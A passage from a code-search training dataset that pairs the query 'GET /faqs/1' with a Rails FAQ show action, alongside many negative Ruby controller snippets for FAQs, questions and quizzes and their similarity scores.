"def feeds\n\t\tuser = User.find_by_id(params[:user_id])\n\t\tunless user\n\t\t\trender json: {error: \"user not fonud\"} and return\n\t\tend\n\t\tcq = CompletedQuest.where(user_id: user.friends.ids).order(created_at: :desc).limit(10)\n\t\tfeeds = []\n\t\tcq.each do |q|\n\t\t\thash = {}\n\t\t\thash[:quest] = q.quest\n\t\t\tfriend = q.user\n\t\t\tfriend.password = nil\n\t\t\thash[:friend] = friend\n\t\t\thash[:time] = q.created_at\n\t\t\tfeeds.push(hash)\n\t\tend\n\t\trender json: {feeds: feeds}\n\tend",
"def artists\n # TODO: add param for albums and songs\n a = Artist.all\n render json: a\n end",
"def show\n @qa = Qa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @qa }\n end\n end",
"def get_questions\n items = get_items\n make_response(HttpStatus::OK, make_result_list(items))\nend",
"def index\n @question_categories = QuestionCategory.with_questions()\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_categories }\n end\n end",
"def show\n @quest = Quest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quest }\n end\n end",
"def index\n if params[:quiz_id]\n @quiz = Quizzes::Quiz.find(params[:quiz_id])\n @quizzes_questions = @quiz.questions\n else\n @quizzes_questions = Quizzes::Question.all\n end\n end",
"def index\n @fizzbuzzs = Fizzbuzz.all\n end",
"def show\n @faq = Faq.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @faq }\n end\n end",
"def instructor_index\n\t\t\tquizzes = current_instructor.quizzes\n\t\t\trender json: quizzes.as_json(:only => [:id, :name, :created_at, :no_of_MCQ, :no_of_rearrangeQ]), status: 200\n\t\tend",
"def index\n @users = Question.users\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end",
"def index\n @comment_qs = CommentQ.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @comment_qs }\n end\n end",
"def get_all_movies_for_actor(actor)\n url = \"http://movies.api.mks.io/movies\"\n response = RestClient.get(url, accept: 'application/json')\n\nend",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def index\n @ideas = Idea.current_ideas_for(current_user).entries\n respond_with(@ideas) do |format|\n format.json { render json: @ideas }\n end\n end",
"def index\n @q_resources = QResource.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @q_resources }\n end\n end",
"def instructor_show\n\t\t\tif (current_instructor.quizzes.exists?(:id => params[:id]))\n\t\t\t\tquiz = current_instructor.quizzes.find(params[:id])\n\t\t\t\tquestions = quiz.questions\n\t\t\t\trender json: questions, status: 200\n\t\t\telse\n\t\t\t\trender json: { error:\"Quiz is not found\" }, status: 404\n\t\t\tend\n\t\tend",
"def show\n @quiz=Quiz.find(params[:id])\n render json: @quiz.show_full_details\n end",
"def index\n url = @httpIp + '/pet.com/api/question/getAllQuestions'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n # @questions = JSON.parse(response, object_class: OpenStruct)\n @questions = Kaminari.paginate_array(JSON.parse(response, object_class: OpenStruct)).page(params[:page]).per(7)\n end",
"def index\n @quizzes = Quiz.all\n end",
"def index\n @quizzes = Quiz.all\n end",
"def index\n @quizzes = Quiz.all\n end",
"def index\n @quizzes = Quiz.all\n end",
"def index\n @quizzes = Quiz.all\n end",
"def api_request\n url = URI.parse(\"https://catfact.ninja/fact\")\n response = Net::HTTP.get_response(url)\n JSON.parse(response.body)[\"fact\"]\n end",
"def show\n @artists = Artist.find(params[:id])\n puts @artists\n render json:@artists, status: :ok\n end",
"def index\n @pizzas = Pizza.all\n render json: @pizzas\n end",
"def create\n @faq = Faq.new(faq_params)\n\n if @faq.save\n render json: @faq, status: :created\n else\n render json: @faq.errors, status: :unprocessable_entity\n end\n end",
"def index\n @foams = Foam.order(\"lower(name) ASC\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @foams }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def index\n @faculties = Faculty.all\n json_response(@faculties)\n end",
"def show\n @oferta_academica = OfertaAcademica.find(params[:id])\n\n render json: @oferta_academica\n end",
"def index\n fact = to_json(Fact.last)\n tip = to_json(Tip.last)\n quote = to_json(Quote.last)\n expert_opinion = to_json(ExpertOpinion.last)\n faq = to_json(Faq.last)\n article = to_json(Article.last)\n testimony = to_json(Testimony.last)\n documentary = to_json(Documentary.last)\n \n json_response({ \n fact: fact,\n tip: tip, \n quote: quote,\n expert_opinion: expert_opinion,\n faq: faq,\n article: article,\n testimony: testimony,\n documentary: documentary\n })\n end",
"def show\n @quartet = Quartet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quartet }\n end\n end",
"def show\n @gotcha = Gotcha.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gotcha }\n end\n end",
"def show\n @qa = Qa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :xml => @qa.to_json(:include => [:answer, :question]) }\n end\n end",
"def show\n @question_category = QuestionCategory.with_questions(question_category_id: params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_category }\n end\n end",
"def index\n @admin_faqs = Admin::Faq.order(:sort_id)\n end",
"def favorite_foods\n get(\"/user/#{@user_id}/foods/log/favorite.json\")\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end",
"def index\n if params[:aspect_id]\n @questions = Aspect.find(params[:aspect_id]).questions.all\n else\n @questions = Question.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end",
"def show\n @form = Form.where(id: params[:id]).includes(:questions => :answers).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @form }\n end\n end",
"def index\n @teaches = Teach.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teaches }\n end\n end",
"def show\n @favourite_listing = get_favourite_listing(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @favourite_listing }\n end\n end",
"def index\n @qandas = Qanda.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @qandas }\n end\n end",
"def show\n @kf_course_user_fav = Kf::CourseUserFav.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kf_course_user_fav }\n end\n end",
"def index\n conditions = []\n params[:per_page] = perpage if params[:per_page].nil?\n params[:page] = 1 if params[:page].blank?\n @kf_course_user_favs = Kf::CourseUserFav.order(\"id DESC\").paginate(:page => params[:page], :per_page => params[:per_page] )\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @kf_course_user_favs }\n end\n end",
"def show\n @my_question = MyQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_question }\n end\n end",
"def show\n @foam = Foam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @foam }\n end\n end",
"def index\n recipes = Recipe.all\n render status: :ok, json: recipes\n end",
"def index\n @recipes = Recipe.all\n render json: @recipes\n end",
"def show\n @qanda = Qanda.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @qanda }\n end\n end",
"def show\n @feeling = Feeling.find(params[:id])\n @sake = Sake.find(params[:sake_id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feeling }\n end\n end",
"def show\n @exam_category = ExamCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exam_category }\n end\n end"
] |
[
"0.7732165",
"0.7640553",
"0.70759785",
"0.6900822",
"0.6800585",
"0.6800585",
"0.66494685",
"0.659629",
"0.65596265",
"0.64982325",
"0.64765036",
"0.63238734",
"0.63238734",
"0.6227685",
"0.62221664",
"0.6181443",
"0.6171267",
"0.61466366",
"0.60860986",
"0.60777515",
"0.60333484",
"0.5986114",
"0.5976568",
"0.5975474",
"0.5960418",
"0.59573126",
"0.5948257",
"0.59037",
"0.58985126",
"0.58230543",
"0.5813937",
"0.57852125",
"0.57847637",
"0.57831573",
"0.5777294",
"0.57648075",
"0.57395226",
"0.5736143",
"0.57300735",
"0.57273775",
"0.5708941",
"0.5699857",
"0.56910044",
"0.56866443",
"0.56785876",
"0.56742567",
"0.56647676",
"0.56639564",
"0.56536853",
"0.5652397",
"0.5645849",
"0.5643705",
"0.5637178",
"0.56223243",
"0.56177115",
"0.5601273",
"0.5598604",
"0.5595861",
"0.55829936",
"0.55787855",
"0.55780065",
"0.5577004",
"0.5577004",
"0.5577004",
"0.5577004",
"0.5577004",
"0.5575167",
"0.5567243",
"0.5561939",
"0.5559291",
"0.5558129",
"0.5552345",
"0.5552107",
"0.5552107",
"0.5552107",
"0.5542125",
"0.55379283",
"0.55327857",
"0.55204684",
"0.5518736",
"0.55109006",
"0.5497569",
"0.54964656",
"0.5493491",
"0.54916865",
"0.54916865",
"0.54838264",
"0.54805225",
"0.54793644",
"0.5478091",
"0.5474831",
"0.5474564",
"0.54745114",
"0.54711884",
"0.5458252",
"0.5454521",
"0.54532886",
"0.54463875",
"0.5444457",
"0.5442035"
] |
0.60214424
|
21
|
GET /faqs/1 GET /faqs/1.json
|
def show
@faq = Helpdesk::Faq.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @faq }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @faqs = Faq.all\n\n render json: @faqs\n end",
"def index\n faqs = Faq.all\n json_response(faqs)\n end",
"def index\n @faqs = Faq.sorted\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @faqs }\n end\n end",
"def index\n @faqs = Faq.sorted\n if @subject\n @faqs = @faqs.where(:subject_id => @subject.id)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @faqs, include: 'subject' }\n end\n end",
"def show\n @faq = Faq.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @faq }\n end\n end",
"def index\n @faqs = Faq.all\n end",
"def index\n @faqs = Faq.all\n end",
"def show\n json_response(@faq)\n end",
"def show\n @faq = Faq.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @faq, include: 'subject' }\n end\n end",
"def show\n @faq_category = FaqCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @faq_category }\n end\n end",
"def show\n @quiz = Quiz.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quiz }\n end\n end",
"def index\n @answers = Answer.where(url_params)\n if @answers.size == 1\n @answers.first!\n end\n render json: @answers\n end",
"def index\n @quizzes = Quiz.all \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @quizzes }\n end\n end",
"def get_one\n question_data = Question.new.get_one( params[:id] )\n return render json: question_data\n end",
"def index\n @faq_categories = FaqCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @faq_categories }\n end\n end",
"def index\n quizzes = Quiz.all\n render json: quizzes, except: [:updated_at, :created_at]\n end",
"def new \n @faq = Faq.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @faq }\n end\n end",
"def faqs\n end",
"def faqs\n end",
"def show\n @quest = Quest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quest }\n end\n end",
"def show\n @faq = Faq.find(params[:id])\n end",
"def show\n @faq = Faq.find(params[:id])\n respond_with(@faq)\n end",
"def get_question_list\n json= RestClient.get(\"http://localhost:3000/questions\")\n JSON.parse(json)\n end",
"def show\n \t\tquestion = Question.find(params[:id])\n \t\tputs \"QUESTION: #{question.name}\"\n \t\trender json: question\n \tend",
"def allfaqs\n @faqs = Faq.getActiveFaqs.order(created_at: :ASC).all()\n @role = user_signed_in? ? (current_user.interface.nil? ? 'admin' : 'user') : 'user'\n\n render :template => 'faqs/all', :locals => {:faqs => @faqs, :role => @role}\n end",
"def show\n render json: @quiz\n end",
"def show\n @qa = Qa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @qa }\n end\n end",
"def update\n @faq.update(faqs_params)\n json_response(@faq)\n end",
"def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end",
"def show\n @form = Form.where(id: params[:id]).includes(:questions => :answers).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @form }\n end\n end",
"def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @questions }\n end\n end",
"def show\n @gotcha = Gotcha.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gotcha }\n end\n end",
"def index\n @my_questions = MyQuestion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_questions }\n end\n end",
"def index\n if params[:faqs] == 'active'\n @faqs = Helpdesk::Faq.roots.active\n render action: 'index'\n elsif params[:faqs] == 'inactive'\n @faqs = Helpdesk::Faq.inactive\n render action: 'inactive'\n else\n @faqs = Helpdesk::Faq.roots\n render action: 'index'\n end\n end",
"def questions\n self.class.get(\"/2.2/questions\", @options)\n end",
"def index\n @questions = @subsection.questions.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end",
"def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @questionnaire }\n end\n end",
"def show\n @tutorial = Tutorial.find(params[:id])\n @first_tutorial = Tutorial.first\n # if @tutorial.id == Tutorial.maximum(\"id\")\n # @next_tutorial = Tutorial.find(1)\n # else \n # @next_tutorial = Tutorial.find(@tutorial.id + 1)\n # end\n\n @user = current_user\n if !@user.nil?\n @quiz = Quiz.where(:user_id => @user.id, :tutorial_id => @tutorial.id)\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tutorial }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @oferta_academica = OfertaAcademica.find(params[:id])\n\n render json: @oferta_academica\n end",
"def show\n @my_question = MyQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_question }\n end\n end",
"def show\n @quiz=Quiz.find(params[:id])\n render json: @quiz.show_full_details\n end",
"def index\n @assessment_end_chapter_quizzes = AssessmentEndChapterQuiz.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json:@assessment_end_chapter_quizzes }\n end\n end",
"def show\n @faq = Faq.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @faq }\n end\n end",
"def show\n @user = User.find(params[:id])\n @quiz = @user.quizzes.last\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end",
"def show\n @completed_quest = CompletedQuest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @completed_quest }\n end\n end",
"def show\n @exam_category = ExamCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exam_category }\n end\n end",
"def index\n @faq_sections = FaqSection.all\n end",
"def index\n @my_exams = MyExam.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_exams }\n end\n end",
"def index\n @faq_items = FaqItem.all\n end",
"def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end",
"def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end",
"def show\n @kf_course_user_fav = Kf::CourseUserFav.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kf_course_user_fav }\n end\n end",
"def show\n @foam = Foam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @foam }\n end\n end",
"def show\n @quartet = Quartet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quartet }\n end\n end",
"def create\n faq = Faq.new(faqs_params)\n faq.created_by_id = @current_user.id\n \n if faq.save\n json_response(faq)\n else\n json_response({ message: faq.errors }, :unprocessable_entity)\n end\n end",
"def api_request\n url = URI.parse(\"https://catfact.ninja/fact\")\n response = Net::HTTP.get_response(url)\n JSON.parse(response.body)[\"fact\"]\n end",
"def show\n @question_category = QuestionCategory.with_questions(question_category_id: params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_category }\n end\n end",
"def show\n @exam = Exam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exam }\n end\n end",
"def show\n @cheque = Cheque.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cheque }\n end\n end",
"def show\n @feeling = Feeling.find(params[:id])\n @sake = Sake.find(params[:sake_id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feeling }\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def index\n @faqcats = Faqcat.all\n end",
"def show\n @qa = Qa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :xml => @qa.to_json(:include => [:answer, :question]) }\n end\n end",
"def index\n if params[:quiz_id]\n @quiz = Quizzes::Quiz.find(params[:quiz_id])\n @quizzes_questions = @quiz.questions\n else\n @quizzes_questions = Quizzes::Question.all\n end\n end",
"def show\n \n @all_listing_requsts = Request.where(listing_id: params[:id])\n render json: @all_listing_requsts\n end",
"def show\n @fav = Fav.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fav }\n end\n end",
"def show\n @qanda = Qanda.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @qanda }\n end\n end",
"def show\n @todo = Todo.find(params[:id])\n #@todos = Todo.where(:id>=0).order(\"id asc\").page(params[:page]).per(3)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @todo }\n end\n end",
"def show\n @artists = Artist.find(params[:id])\n puts @artists\n render json:@artists, status: :ok\n end",
"def show\n @rfq = Rfq.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rfq }\n end\n end",
"def index\n fact = to_json(Fact.last)\n tip = to_json(Tip.last)\n quote = to_json(Quote.last)\n expert_opinion = to_json(ExpertOpinion.last)\n faq = to_json(Faq.last)\n article = to_json(Article.last)\n testimony = to_json(Testimony.last)\n documentary = to_json(Documentary.last)\n \n json_response({ \n fact: fact,\n tip: tip, \n quote: quote,\n expert_opinion: expert_opinion,\n faq: faq,\n article: article,\n testimony: testimony,\n documentary: documentary\n })\n end",
"def show\n @assessment_end_chapter_quiz = AssessmentEndChapterQuiz.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json:@assessment_end_chapter_quiz }\n end\n end",
"def show\n @favourite_listing = get_favourite_listing(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @favourite_listing }\n end\n end",
"def index\n @comment_qs = CommentQ.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @comment_qs }\n end\n end",
"def get_faq_all_using_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FAQApi.get_faq_all_using_get ...'\n end\n # resource path\n local_var_path = '/faq'\n\n # query parameters\n query_params = {}\n query_params[:'ascending'] = opts[:'ascending'] if !opts[:'ascending'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'order_by'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageFaq')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FAQApi#get_faq_all_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @quizzes = Quiz.all\n end",
"def index\n @quizzes = Quiz.all\n end",
"def index\n @quizzes = Quiz.all\n end",
"def index\n @quizzes = Quiz.all\n end",
"def index\n @quizzes = Quiz.all\n end",
"def show\n @user_quest = UserQuest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_quest }\n end\n end",
"def get_questions\n items = get_items\n make_response(HttpStatus::OK, make_result_list(items))\nend",
"def index\n @q_resources = QResource.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @q_resources }\n end\n end",
"def show\n @qu = Qu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @qu }\n end\n end",
"def index\n @fizzbuzzs = Fizzbuzz.all\n end",
"def index\n @faculties = Faculty.all\n json_response(@faculties)\n end",
"def index\n @faqs = @group.faqs.sorted\n end",
"def show\n @tutorial = Tutorial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tutorial.to_hash(false) }\n end\n end",
"def instructor_index\n\t\t\tquizzes = current_instructor.quizzes\n\t\t\trender json: quizzes.as_json(:only => [:id, :name, :created_at, :no_of_MCQ, :no_of_rearrangeQ]), status: 200\n\t\tend",
"def index \n artists = Artist.all \n render json: artists \n end",
"def show\n @intake_question = IntakeQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @intake_question }\n end\n end",
"def index\n @questionnaires = @instance.questionnaires\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questionnaires }\n end\n end",
"def show\n @factor = Factor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @factor }\n end\n end",
"def show\n #@lecture = Lecture.find(params[:id])\n #@course = Course.find(params[:course_id])\n \n @lecture=Lecture.where(:id => params[:id], :course_id => params[:course_id])\n @course = Course.find(params[:course_id])\n \n if @lecture.empty?\n redirect_to course_lectures_path(params[:course_id]), :alert=> \"No such lecture\"\n else\n \n @lecture=@lecture.first\n \n \n @quizzes= OnlineQuiz.where(:lecture_id => params[:id])\n @url= get_answers_course_lecture_path(params[:course_id], params[:id])\n @s=params[:s] if params[:s]\n logger.debug(\"s issssss #{@s}\")\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lecture }\n end\n end\n end"
] |
[
"0.7446974",
"0.72393256",
"0.6855255",
"0.67025083",
"0.6631856",
"0.65555865",
"0.65555865",
"0.63668865",
"0.6328317",
"0.62225175",
"0.6184599",
"0.61820745",
"0.6108334",
"0.6003133",
"0.5998208",
"0.59977275",
"0.5961989",
"0.59587103",
"0.59587103",
"0.5955481",
"0.5946541",
"0.5937207",
"0.59244764",
"0.59049666",
"0.5884004",
"0.58806455",
"0.5869717",
"0.5867145",
"0.5866863",
"0.58488816",
"0.5815688",
"0.5786243",
"0.574621",
"0.5739489",
"0.5735593",
"0.57325983",
"0.57221836",
"0.571378",
"0.569884",
"0.56987715",
"0.56987715",
"0.56987715",
"0.5682439",
"0.5675513",
"0.5668787",
"0.5662296",
"0.56517684",
"0.564983",
"0.5642325",
"0.5642325",
"0.56415325",
"0.56385416",
"0.5636053",
"0.5630521",
"0.5624095",
"0.56189024",
"0.56189024",
"0.56138915",
"0.56134397",
"0.5605142",
"0.5603025",
"0.55839175",
"0.5582818",
"0.55770427",
"0.5572175",
"0.5569366",
"0.5566068",
"0.55492395",
"0.55468965",
"0.5544476",
"0.55404454",
"0.5539993",
"0.5533086",
"0.5529712",
"0.5522518",
"0.5518239",
"0.55160344",
"0.55124575",
"0.5511452",
"0.5509367",
"0.5503982",
"0.5500915",
"0.5500915",
"0.5500915",
"0.5500915",
"0.5500915",
"0.54996806",
"0.54941213",
"0.54920006",
"0.54885936",
"0.54875916",
"0.54873514",
"0.5485092",
"0.5482824",
"0.54816824",
"0.5480182",
"0.5478455",
"0.54751456",
"0.54749405",
"0.54734105"
] |
0.65490824
|
7
|
GET /faqs/new GET /faqs/new.json
|
def new
@faq = Helpdesk::Faq.active.new
if params[:faq] && params[:faq][:parent_id]
@faq.parent_id = params[:faq][:parent_id]
end
respond_to do |format|
format.html # new.html.erb
format.json { render json: @faq }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new \n @faq = Faq.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @faq }\n end\n end",
"def new\n @qa = Qa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @qa }\n end\n end",
"def new\n @q = Q.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @q }\n end\n end",
"def new\n @faq_category = FaqCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @faq_category }\n end\n end",
"def new\n @quest = Quest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quest }\n end\n end",
"def create\n faq = Faq.new(faqs_params)\n faq.created_by_id = @current_user.id\n \n if faq.save\n json_response(faq)\n else\n json_response({ message: faq.errors }, :unprocessable_entity)\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n #@question = Question.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @faq = Faq.new\n respond_with(@faq)\n end",
"def faq_new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end",
"def new\n @quick_answer = QuickAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quick_answer }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @question }\n end\n end",
"def new\n @fav = Fav.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fav }\n end\n end",
"def new\n @quest = Quest.new\n\t@categories = find_all_categories\n\t\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quest }\n end\n end",
"def new\n @question = Question.new\n respond_to do |format|\n format.html # new.html.erb\n #format.json { render json: @question }\n end\n end",
"def new\n @tutorial_quest = Tutorial::Quest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tutorial_quest }\n end\n end",
"def new\n @foam = Foam.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @foam }\n end\n end",
"def new\n\t\t@question = Question.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @question }\n\t\tend\n\tend",
"def create\n @faq = Faq.new(faq_params)\n\n if @faq.save\n render json: @faq, status: :created\n else\n render json: @faq.errors, status: :unprocessable_entity\n end\n end",
"def new\n @qu = Qu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @qu }\n end\n end",
"def new\n @qu = Qu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @qu }\n end\n end",
"def new\n @what = What.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @what }\n end\n end",
"def new\n @topic = Topic.new\n @page_title = \"New Topic\"\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end",
"def new\n @qanda = Qanda.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @qanda }\n end\n end",
"def new\n @qanda = Qanda.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @qanda }\n end\n end",
"def new\n @my_question = MyQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_question }\n end\n end",
